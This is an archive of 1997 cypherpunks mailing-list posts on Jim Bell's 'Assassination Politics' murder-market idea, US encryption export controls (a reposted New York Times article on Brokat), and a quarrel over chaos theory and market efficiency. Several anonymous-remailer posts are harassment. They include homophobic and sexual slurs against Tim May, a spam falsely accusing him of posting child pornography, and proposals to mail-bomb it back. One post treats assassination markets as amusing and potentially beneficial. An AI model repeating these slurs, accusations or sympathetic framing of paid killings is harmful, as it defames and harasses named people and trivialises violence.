> 
> Overheard phone call leads to arrests

  And the way this relates to Jim Bell is...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 7 Apr 1997 18:00:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Adam Back speaks out on AP / was: Jim Bell? Never heard of him.
Message-ID: <199704080100.VAA21197@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> I see lots of discussion of AP.  However I see lots of people
> discussing cautiously, couching it in terms of:
> game theory, or intellectual possibility
> or dismissing it as impractical.
> 
> Perhaps I'm just imagining things, but it would seem to me that if one
> had in the past made comments on the list suggesting that AP might
> even be a _good thing_, Jim Bell's experience might make one think now
> was be a good time to disclaim that one was talking theoretically.

  Jim *who*???
 
> I've viewed several posters comments on AP ever since Jim Bell got
> involved in discussing anonymous markets in illegal services as being
> careful to stay on the side of speech.
 
> It is almost as if they are afraid to discuss openly their views on
> the subject.

  This doesn't stop them from castigating those who post 
anonymously in regard to this subject.
  (As if not wanting to face 20 armed government agents who
consider you "armed and dangerous" {i.e. shoot first and ask
questions later} somehow negates their facts and logic.)

> Democracy is one person one vote, however this is skewed in most
> democracies by numerous factors: corporate lobbying, media influence,
> and people who are easily influenced by media.
> 
> AP is one $ one vote.  Theoretically rich people could out-vote their
> rivals. 

  So the end result might well be, not the assassination of those
involved, but the lessening of their power by virtue of depleting
their funds, which leads to a more equal playing field.

> Game theoretically: AP may be a good thing for you personally if the
> reduction in power of groups targetted by AP bets was beneficial
> enough to you to cancel out the negative aspects of you yourself being
> targetted, and the negative aspects of living in the resulting
> society.

  Green Peace might serve as a good example of this.
  A sufficient number of individuals contributing small amounts
to the pool might not be able to negate the total funds available
to whaling companies, but they might be able to impact the profit
margin sufficiently that they would not be able to extinct the
species.
 
> I'm not too sure what the outcome would be.  All sorts of people might get
> targetted by all kinds of unanticipated groups of the populace.  Will the
> mafia join the fray, and offer insurance against having a contract taken out
> on yourself?  Will the government join in and take out hits on GAK
> dissenters and free speech activists?  Will corporations get rid of
> embarassing whistleblowers?  Will irritating media starlets get offed?
> 
> We have no way of knowing whether the outcome would be "a good thing" by any
> chosen metric.

  But the results would be a far cry more interesting than
reruns of Gilligan's Island.

TruthMonger (#7 - the 'sane' one)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 7 Apr 1997 18:09:43 -0700 (PDT)
To: cypherpunks@toad.com
Subject: ElGamal
Message-ID: <199704080109.VAA22604@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[ocksucker] Mayhem is widely recognized on 
the net, because of his frequent vitriolic 
postings, as someone/thing ready to cut off his 
own penis to spite the testicles, although his 
friends recognize him better from the rear.

    /\
   /..\  Tim C[ocksucker] Mayhem
  /_\/_\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 7 Apr 1997 19:00:45 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: New Paper by Ron Rivest
Message-ID: <199704080200.WAA29368@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
> 
> From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
> To: "Micropay (E-mail)" <micropay@ai.mit.edu>
> Subject: New Paper by Ron Rivest

  This interplay between C2Net schills and MIT schills is getting more
than a little boring.
  We always seem to have the same actors involved in the attacks on the
cypherpunks. First, lightweights like Kent Crispin post some dribble
before the 'event' takes place. After the 'event', the heavyweight
disinfo artists like Hallam-Baker step forward with their bullshit.
  Then their bum-buddy "cheers" Bob Hettinga forwards their posts from
other lists to try to give them the appearance of respectability.

  Bullshit is bullshit, no matter how much these characters stroke
each other's cocks.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 21:23:16 -0700 (PDT)
To: Blanc Weber <blancw@MICROSOFT.com>
Subject: Blanc Weber / Positivist Schill
In-Reply-To: <88CE23A0B727D0118BB000805FD47524014383C2@RED-81-MSG.dns.microsoft.com>
Message-ID: <3349C881.2F87@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber wrote:
> ---------------------------------------------------
> In "Human Action", by Ludwig von Mises, he explains very well how
> nations which restrict their market options create the tensions and
> circumstances which lead to wars between them. 

  All of the good computer gurus I know have degrees in Political
Philosophy, and the like. You must be one of them.

> I was considering, likewise, that the current developing technologies
> might open up people's imagination to so many interesting things to do
> and new ways to get what they are after, creating a sense of
> "possibility", rather than "impossibility", that this would affect their
> outlook on life and their attitude and turn their attention to more
> positive things beyond killing - that is, beyond the idea of achieving
> freedom from certain influences by killing the source of those
> influences.

  Are you part of a cypherpunks list conspiracy to balance my 
cynicism? Are you actually suggesting that there may be a spark
of hope for mankind to prevail in the battle with the forces of
mindless robotic sheepnocity? 

> In the "new world order", those influences would not be so threatening,
> as there would exist ways to route around them.  This could reduce the
> tensions which would otherwise arise, leaving the mind open to more
> productive considerations, freed to think less in terms of destructive
> methodologies.

  You seem to be one of the eternal optimists who can even see
the possible good in AP.
  I suggested in a recent post that perhaps Green Peace could use
the AP system to drain the profit margins of whalers without 
actually causing their death. Of course, I was low on Scotch at
the time, so my idea cannot be taken seriously.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 7 Apr 1997 20:46:02 -0700 (PDT)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: $20,000 the going rate?
In-Reply-To: <3349B4D0.7977@sk.sympatico.ca>
Message-ID: <199704080335.DAA29678@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <3349B4D0.7977@sk.sympatico.ca>, on 04/07/97 at 09:00 PM,
   Toto <toto@sk.sympatico.ca> said:


>William H. Geiger III wrote:
>> 
>> I am forwarding a message from another list as I felt it may be of intrest
>> to some here.
>> 
>> Subject: SCANNER LISTENER FOILS MURDER PLOT
>> Following from the
>> Seattle Post-Intelligencer, Friday, April 4, 1997
>>  ===========================================
>> "TWO ACCUSED OF MURDER-FOR-HIRE PLOT"
>> 
>> Overheard phone call leads to arrests

>  And the way this relates to Jim Bell is...

No direct relation. :)

I just thought it touched on some current topics:

- - Murder for hire (Yes it happens even without AP) <G>
- - Cell Phone Security (Big Brother is listening along with everyone else) -
LEA's can catch criminals without revoking the Bill of Rights (imagine
that)

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Taking the wind out of Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM0nMoo9Co1n+aLhhAQFPBQP/WWaCTD/61dfZJF0t81OSuCDWBplTtPUb
qKr1UI9TXWAX5z+ftmWWcCxDXpV3ZYZOQgvrCcKLfBpLkdOoMu0B7XLQUIWtVu8T
syr9Pj92KKnFfi3IMYqBdbk6MORBcz8jwx8uEU81NncHbbOoLdeRoEBEXkqDfD6m
bKm1Lqu039I=
=lPXe
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 7 Apr 1997 19:51:03 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Wassenaar Arrangement now available
Message-ID: <1.5.4.32.19970408025029.006d22dc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've converted the AU version of Wassenaar "Part 3 Category 5 - 
Telecommunications and Information Security" DOC to HTML:

   http://jya.com/aucat_5.htm

"Part 2 - Information Security" fits the notes on cryptography posted 
here by Hayashi Tsuyoshi and fills in the missing pieces.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Mon, 7 Apr 1997 21:48:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: ZDNet Announces HealthyPC.com!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.8346.04071997200004.117358@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


----------------------------------------------------------------
   ZDNET ANNOUNCEMENT          4/8/97
----------------------------------------------------------------

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maintenance and troubleshooting from people 
you trust!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Apr 1997 20:30:59 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Fan mail from Hallam-Baker...
In-Reply-To: <3349A104.25D4@sk.sympatico.ca>
Message-ID: <7gNT5D79w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Dr.Dimitri Vulis KOTM wrote:
> >
> > >Sender: hallam@etna.ai.mit.edu
> > >From: Hallam-Baker <hallam@ai.mit.edu>
> > >Subject: Re: I hope thr IRA nails Hallam-Baker...
> > >
> > >You are now in very serious trouble.
> > >
> > >I have contacted the FBI and other agencies. You will encounter
> > >difficulty in travelling to certain foreign countries.
> > >
> > >You may have put your own life at risk. The IRA is not the only
> > >terrorist group in Ireland, its opponents make a point of assasinating
> > >anyone who openly supports IRA activities.
>
>   The terrorist group Hallam-Baker is referring to is the
> UK government.
>   They refer to QEII as 'Ms. Big'.

Do you mean the drug dealer queen?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 7 Apr 1997 23:18:50 -0700 (PDT)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199704072109.OAA13107@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970408001614.117008B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 7 Apr 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Embedded in Tim C[rook] May's babblings are preposterous lies, wild 
> distortions, child pornography (both as graphic descriptions and in JPEG 
> format), ethnic slurs, and racial epithets.
> 
>   \\\\\|/////
>    \\\\|////
>    < * | * >
>    |   *   |
>     \( . )/
>      \___/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 7 Apr 1997 21:33:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Fucking Idiots
Message-ID: <199704080433.AAA17606@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



XX
Xnon-to: PRESIDENT@WHITEHOUSE.gov

              The New York Times, April 7, 1997, pp. D1, D7.

---------------------------------------------------------------------------

U.S. Restrictions on Exports Aid German Software Maker

By EDMUND L. ANDREWS

BOBLINGEN, Germany, April 3--Boris Anderer and his four partners have a
message for the spy masters in America's national security
establishment:
thank you very, very much.

Mr. Anderer is the managing director for marketing at Brokat
Informationssysteme G.m.b.H., a three-year-old software company here
that
is growing about as fast as it can hire computer programmers.

When America Online wanted to offer online banking and shopping services
in
Europe, it turned to Brokat for the software that encodes transactions
and
protects them from hackers and on-line bandits. When Netscape
Communications and Microsoft wanted to sell Internet software to
Germany's
biggest banks, they had to team up with Brokat to deliver the security
guarantees that the banks demanded.

But what is most remarkable is that Brokat's rapid growth stems in large
part from the Alice in Wonderland working of American computer policy.
Over
the last two years, Brokat and a handful of other European companies
have
carved out a booming business, selling powerful encryption technology
around the world that the United States Government prohibits American
companies from exporting.

Mr. Anderer could not be happier. "The biggest limitation on our growth
is
finding enough qualified people," he said, as he strode past rooms
filled
with programmers dressed in T-shirts and blue jeans.

The company's work force has climbed to 110 from 30 in the last year,
and
the company wants to add another 40 by the end of the year.

"This company has grown so fast that I often don't know whether the
people
I see here have just started working or are just visitors," he said.

Encryption technology has become a big battleground in the evolution of
electronic commerce and the Internet. As in the United States, European
banks and corporations are racing to offer on-line financial services,
and
many of these services are built around Internet programs sold by
American
companies like Netscape and Microsoft.

Cryptography is crucial because it provides the only means for
protecting
customers and companies from electronic eavesdroppers.

Though the market for encryption software is in itself tiny, it is a key
to
selling technology in the broader market of electronic commerce.
Encryption
is the first line of defense against hackers eager to pry loose credit
card
information and raid bank accounts, so it plays a critical role in the
sale
of Internet servers and transaction-processing systems.

Brokat, which has revenues of about 10 million marks ($6 million), uses
its
cryptography as a door-opener to sell much more complicated software
that
securely links conventional bank computer systems to a bank's Internet
gateways and on-line services. Netscape, Microsoft and computer
equipment
manufacturers all include encryption in the networking systems they sell
to
corporations.

But the United States Government blocks American companies from
exporting
advanced encryption programs, because agencies like the Federal Bureau
of
Investigation and the National Security Agency fear that they will lose
their ability to monitor the communications of suspected terrorists and
criminals.

Far from hindering the spread of powerful encryption programs, however,
American policy has created a bonanza for alert entrepreneurs outside
the
United States. Brokat's hottest product is the Xpresso Security Package,
a
set of computer programs that bump up the relatively weak encryption
capability of Internet browsers from Netscape and Microsoft.

Besides America Online, Brokat's customers include more than 30 big
banking
and financial institutions around Europe. Deutsche Bank A.G., Germany's
biggest bank, uses Brokat's software at its on-line subsidiary, Bank 24.
Hypo Bank of Munich uses Brokat in its on-line discount stock brokerage
operation. The Swiss national telephone company and the Zurcher
Kantonalbank are also customers.

Among Brokat's competitors, UK Web Ltd., based in London, is marketing
an
equally powerful encryption program in conjunction with a Silicon Valley
company C2Net Software. Recently, UK Web and C2Net boasted of selling
"full-strength" cryptography developed entirely outside the United
States.

"We don't believe in using codes so weak that foreign governments,
criminals or bored college students can break them," the two companies
said
in a statement, in a stinging swipe at the American export restrictions.

Bigger companies are starting to jump into the fray as well.
Siemens-Nixdorf, the computer arm of Siemens A.G., recently began
marketing
a high-security Internet server program that competes with products from
Netscape. Companies can download the software from Siemens computers in
Ireland.

There is nothing illegal or even surprising about this. The basic
building
blocks for advanced encryption technology, a series of mathematical
algorithms or formulas, are all publicly available over the Internet.
American companies like Netscape sell strong encryption programs within
the
United States, and companies like Brokat are even allowed to export
their
product to customers in the United States.

For many computer executives, the real mystery is why the United States
Government continues to restrict the export of encryption technology.
"The
genie is out of the bottle," said Peter Harter, global public policy
counsel at Netscape, who complained that American policy thwarts his
company's ability to compete.

"I have a good product, and I can sell it to Citibank, but l can't sell
it
to Deutsche Bank," Mr. Harter said. "It doesn't make any sense. Why
shouldn't they be able to buy the same product as Citibank? It makes
them
mad, and it makes us mad."

In response to industry complaints, American officials have repeatedly
relaxed the restrictions on encryption over the last several years, and
they did so again last November. But because the speed of computers has
increased so rapidly codes that seemed impenetrable just a few years ago
can be cracked within a few hours.

In a policy announced last fall, the Clinton Administration announced
that
it would allow American companies to freely export cryptography that
used
"keys" up to 40 bits in length. The longer the key, the more difficult a
code is to crack. But banking and computer executives say that 40-bit
codes
are no longer safe and can be cracked in as little as a few hours by
skilled computer hackers. The minimum acceptable code, according to many
bank executives, must have keys that are 128 bits long.

"From our point of view, there is at least the possibility that a 40-bit
encryption program can be broken, and that means there is a danger that
our
transaction processing could be compromised," said Bernd Erlingheuser, a
managing director at the Bank 24 unit of Deutsche Bank. Bank 24 has
about
110,000 customers in Germany who gain access to banking services over
the
Internet using either the Netscape Navigator or Microsoft's Internet
Explorer.

Anette Zinsser, a spokeswoman for Hypo Bank, concurred. "Forty bits is
just
too low," she said. Hypo Bank offers Internet-based banking and discount
brokerage services to about 28,000 customers.

In a country not known for high-technology start-ups, Brokat jumped at
the
opportunity. Mr. Anderer, a former consultant at McKinsey & Company in
Germany, teamed up three years ago with two fraternity friends, Michael
Janssen and Stefan Roever, and two seasoned computer experts, Achim
Schlumpberger and Michael Schumacher.

The group originally conceived of building a company around modular
software components that were designed for the banking industry, and
they
financed the company for nearly two years through the money they earned
from consulting projects. But they were quickly drawn to the area of
encryption, and developed a series of programs around the Java
technology
of Sun Microsystems.

The Xpresso encryption package is installed primarily on the central
"server" computers that on-line services use to send material to
individual
personal computers. Customers who want to connect to a bank's server
download a miniature program, or applet, that meshes with their Internet
browser program and allows the customer's computer to set up an
encrypted
link with the server. The effect is to upgrade the 40-bit encryption
program to a 128-bit program, which is extremely difficult for outsiders
to
crack.

Now, in another step through the looking glass of encryption policy,
Brokat
is trying to export to the United States. There is no law against that,
but
American laws would theoretically prohibit a company that used Brokat's
technology from sending the applets to their online customers overseas.
So
the company is now negotiating with the National Security Agency for
permission to let American companies send their software overseas, which
is
where it started from in the first place.

If Brokat convinces the spy masters, the precedent could help American
software rivals. "This could open a new opportunity that would benefit
American companies if they understand the implications," Mr. Anderer
said.

                               [Photo (14K)]

          The five managing partners and founders of fast-growing
       Brokat Informationssysteme are (left to right) Boris Anderer,
                   Michael Janssen, Achim Schlumpberger,
                   Michael Schumacher and Stefan Roever.

---------------------------------------------------------------------------

  Why don't you fucking losers at the whitehouse just line 
American businessmen up against the wall and blow their brains
out?
  Go to Germany and buy a fucking clue (if American $ are still
worth anything by the time you're done fucking American business.)

TruthMonger (#2)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 7 Apr 1997 23:35:48 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: ElGamal
In-Reply-To: <199704080109.VAA22604@dhp.com>
Message-ID: <Pine.A41.3.95.970408003253.117008Q-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Mon, 7 Apr 1997, lucifer Anonymous Remailer wrote:

> Tim C[ocksucker] Mayhem is widely recognized on 
> the net, because of his frequent vitriolic 
> postings, as someone/thing ready to cut off his 
> own penis to spite the testicles, although his 
> friends recognize him better from the rear.
> 
>     /\
>    /..\  Tim C[ocksucker] Mayhem
>   /_\/_\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 7 Apr 1997 22:53:42 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: "...markets are fundamentally chaotic, not efficient"? Really?
In-Reply-To: <v0302092eaf6ea75718f6@[139.167.130.246]>
Message-ID: <v03020981af6f7e81385e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:36 pm -0400 on 4/7/97, Kent Crispin wrote:

> Nope.  Not any of those things (Gee, there's that "statist" word
> again.  There must be a playbook somewhere).

Yes. It's from the same playbook which says I now get to call you a "twit".

> More a "security
> analyst" notion.  See the cute little book "Chaos and the Capital
> Markets" (I don't have it handy so I can't give you the author.)
> Anyway, he makes an empirical of security prices, and demonstrates
> that they are chaotic.  It was more oriented to practitioners, not
> theorists...

Bark. Chaos theory has nothing to say about the capital markets practically
by definition, but that's a "security analyst" notion, so you probably
wouldn't understand it.

> Chaotic is not the same as stochastic.

Actually, chaotic behavior is a subset of stochastic behavior. I stand by
what I said. Just because a random variable is predictable within certain
parameters doesn't mean that you can call say, every flip of a coin 100
times. When you get to the limit of predictability, you are as "efficient"
as you can get.

> There are obviously stochastic
> factors in markets.  Equally obviously, they are not the only factors.

Sure. What? The devine right of kings? The inherent good of the
surveillance state? I say that stochasticity, including chaos, is the only
factor that matters.

> The fact that markets demonstrate a chaotic element is potentially
> exploitable as a trading strategy.

That statement, is, of course, an another oxymoron, just like "market control".

> I heard that's why trading houses
> were hiring physicists, incidentally -- most of the expertise in
> Chaos Theory was developed in the context of physics.

Rediculous. Most of the "expertise" in chaos "theory" is in the hands of
dillitantes who like to draw pretty pictures. Most of the physicists hired
by Wall Street were people who discovered market analogs to physical
processes. A friend of mine, for example, who used Monte Carlo simulations
to analyze sonar returns, and now uses Green's functions to get faster
results on interest rates and total return scenarios on bonds. Or another,
who did 2D magnetohydrodynamic code once, and now does fun stuff in the
currency markets.

The problem with simulating a market with emergent systems is that you
can't say anything about a given market when the simulation is over. Just
about the simulation. Otherwise (duh?) it's not chaotic enough. Which, by
the way, was my point. When you get to "chaos", you're as "efficient" as
you can go.

That's not to say that using emergent systems technology to create markets
*themselves* isn't useful. Far from it. That's the kind of stuff several
people around here hope to see arise from autonomous entities operating in
cash-settled internet markets, for example. Cash settlement technologies,
by the way, which need strong unescrowed cryptography even to function.

> That's "Crispin", Mr. Applethwaite.  I hate being mislabeled.

Ah. Another ad hominem. See "twit", above. You're ugly, and your mother
dresses *you* funny, too. By the way, I'm sorry I misspelled your name. For
some reason, it seems I didn't respect you enough to get it right...

> I never said anything about planned economies being efficient.  In
> fact, I never mentioned planned economies at all.

You said that "chaotic" markets aren't efficient. I said exactly the
opposite. That they are the ultimate in efficiency, and that if you believe
that chaotic markets are not efficient, you must favor planned economies,
because they're the only alternative. I figure this tendency towards
stringent control must be from where you work or something. Oops. Another
ad hominem. So sorry. They must be in the air this evening.

> Obviously I can't "prove" markets are not efficient -- that's an
> empirical matter, not a mathematical matter.  However, no one can
> prove they are efficient, either (that's why it's the "Efficient
> Market *Hypothesis*").  There are many other examples of persistent
> inefficiencies in markets,  the presidential election year cycle
> being the first to come to mind.

Right. And the increasing American importation of bananas throughout the
20th century caused an increase in suicide. Another informal fallacy.
You're nine for nine tonight, Mr. Ch^hispin. Of course there are actual
exceptions to the efficient market hypothesis, fools' markets being the
most famous example. However, the crash of any given fool's market is
completely unpredictable, and, as such, is as efficient a price as you're
going to get, paradoxically. Which was my point.

> [interesting but besides the point argument deleted]

Actually, it was the *whole* point, but you didn't get it. Another one of
those "security analyst" notions, which kind of blew by you, in what seems
to be a rather breezy evening in your neck of the woods...

> > This inability of a hierarchy to handle as much information or resources as
> > a geodesic is, of course, a major problem with key escrow,
>
> No, it's a theoretical problem that has no impact on practical key recovery
> systems.

Okay. I'll tell you this one, for fun, too, since you don't get *it*
either. In a geodesic network, a single node can not possibly process all
the information in the network. It chokes, and the network routes around
it. You can bet that any key escrow agent would be innundated with
surviellance requests and would eventually become either useless under the
load no matter how big a processor it had. (Hint: it's the same kind of
problem with certificate revocation.) Or, it will be forced to cache its
keys in other locations, making them more insecure. Soon, either everyone
can't get access to the keys because they can't handle the load, or
everyone can because the keys aren't secret anymore. An interesting
corrolary is that even if the keys were available, the surveilling entity
would choke on *its* information load. This is FinCEN's eventual problem.
Maybe we could call it the Freeh paradox, or something.

Anyway, the best you can hope for is some kind of distributed caching
model, based on the distributed trust models we talk about here. But, if
some kind of centralized entity tries to access *those* keys for
surviellance, it chokes even worse than if it had all the keys in the same
place.

> "Whip me! Beat me! Savage me in Cypherpunks!"

Just lay there and take it, slave. You know you love it, or you wouldn't be
here.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 8 Apr 1997 02:10:47 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: "...markets are fundamentally chaotic, not efficient"? Really?
In-Reply-To: <v0302092eaf6ea75718f6@[139.167.130.246]>
Message-ID: <19970408020746.46726@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, Apr 08, 1997 at 01:51:45AM -0400, Robert Hettinga wrote:
> At 12:36 pm -0400 on 4/7/97, Kent Crispin wrote:
> 
> > Nope.  Not any of those things (Gee, there's that "statist" word
> > again.  There must be a playbook somewhere).
> 
> Yes. It's from the same playbook which says I now get to call you a "twit".

Uh oh.  Must of touched a nerve...

> > More a "security
> > analyst" notion.  See the cute little book "Chaos and the Capital
> > Markets" (I don't have it handy so I can't give you the author.)
> > Anyway, he makes an empirical of security prices, and demonstrates
> > that they are chaotic.  It was more oriented to practitioners, not
> > theorists...
> 
> Bark. Chaos theory has nothing to say about the capital markets practically
> by definition, but that's a "security analyst" notion, so you probably
> wouldn't understand it.

Sorry.  It's Edgar Peters, "Chaos and Order in the Capital Markets", 
John Wiley, 1991.  I'm sure you will rush out and buy a copy :-)

> > Chaotic is not the same as stochastic.
> 
> Actually, chaotic behavior is a subset of stochastic behavior. I stand by
> what I said. 

Clearly, you don't know what you are talking about.  Strictly 
speaking, chaotic behavior (as mathematically defined in chaos theory) is 
completely *deterministic*, not random.  The conundrum is that 
chaotic behavior *looks* random, and indeed, it can be very hard to tell 
if a set of data is generated by a determinstic chaotic procedure or a 
stochastic procedure.

Pretty pictures of Mandelbrot and Julia sets are generated by selecting 
points *determinstically*, iterating through a *determinsitic* algorithm, 
and looking at the result.  It's the mathematics that creates the 
complexity, not randomness.

(To be fair, of course, I must also state that some fractals are 
generated by starting with random numbers and running them through 
some algorithm.)

> Just because a random variable is predictable within certain
> parameters doesn't mean that you can call say, every flip of a coin 100
> times. When you get to the limit of predictability, you are as "efficient"
> as you can get.
>
> > There are obviously stochastic
> > factors in markets.  Equally obviously, they are not the only factors.
> 
> Sure. What? The devine right of kings? The inherent good of the
> surveillance state? I say that stochasticity, including chaos, is the only
> factor that matters.

No, you described it just above when you said "just because a random 
variable is predictable within certain parameters".  So, for example, 
I know that if a head is worth $1 and a tail is worth -$1, my net 
worth won't jump by $100 on a single toss.

> > The fact that markets demonstrate a chaotic element is potentially
> > exploitable as a trading strategy.
> 
> That statement, is, of course, an another oxymoron, just like "market 
> control".

I don't know whether you are expressing your flatulent ignorance of
chaos theory, or whether you are referring to the term "trading
strategy".  I will give you the benefit of the doubt and assume the
latter, and agree that the term "trading strategy" is at least 
suspicious. 

> > I heard that's why trading houses
> > were hiring physicists, incidentally -- most of the expertise in
> > Chaos Theory was developed in the context of physics.
> 
> Rediculous. Most of the "expertise" in chaos "theory" is in the hands of
> dillitantes who like to draw pretty pictures. 

A lot of those, for sure.  But Mandelbrot did some of his first work
on chaos studying cotton prices with Hendrik Houthakker, a Harvard
economist.  But how about Edward Lorenz (of the "Lorenz attractor")
studying weather, studies of turbulence, Feigenbaum & Co at Los
Alamos, the Dynamical Systems Group at Santa Cruz, etc etc.  The 
pretty pictures are pretty, but even I can do those.

> Most of the physicists hired
> by Wall Street were people who discovered market analogs to physical
> processes. A friend of mine, for example, who used Monte Carlo simulations
> to analyze sonar returns, and now uses Green's functions to get faster
> results on interest rates and total return scenarios on bonds. Or another,
> who did 2D magnetohydrodynamic code once, and now does fun stuff in the
> currency markets.

Sure, that too.

> The problem with simulating a market with emergent systems is that you
> can't say anything about a given market when the simulation is over. Just
> about the simulation. Otherwise (duh?) it's not chaotic enough. Which, by
> the way, was my point. When you get to "chaos", you're as "efficient" as
> you can go.

I wasn't referring to simulating markets; I was referring to studying 
real markets.

[...]

> > That's "Crispin", Mr. Applethwaite.  I hate being mislabeled.
> 
> Ah. Another ad hominem. 

No, just a joke.  Boy, I must really have hit a nerve.  Sensitive big 
ego, perhaps?

> See "twit", above. You're ugly, and your mother
> dresses *you* funny, too. By the way, I'm sorry I misspelled your name. For
> some reason, it seems I didn't respect you enough to get it right...

That's ok.  I just attribute it to a fragile ego, anyway.

> > I never said anything about planned economies being efficient.  In
> > fact, I never mentioned planned economies at all.
> 
> You said that "chaotic" markets aren't efficient. I said exactly the
> opposite. That they are the ultimate in efficiency, and that if you believe
> that chaotic markets are not efficient, you must favor planned economies,
> because they're the only alternative. 

It's understandable that you might make this mistake, given your 
misunderstanding of dynamic systems.

> I figure this tendency towards
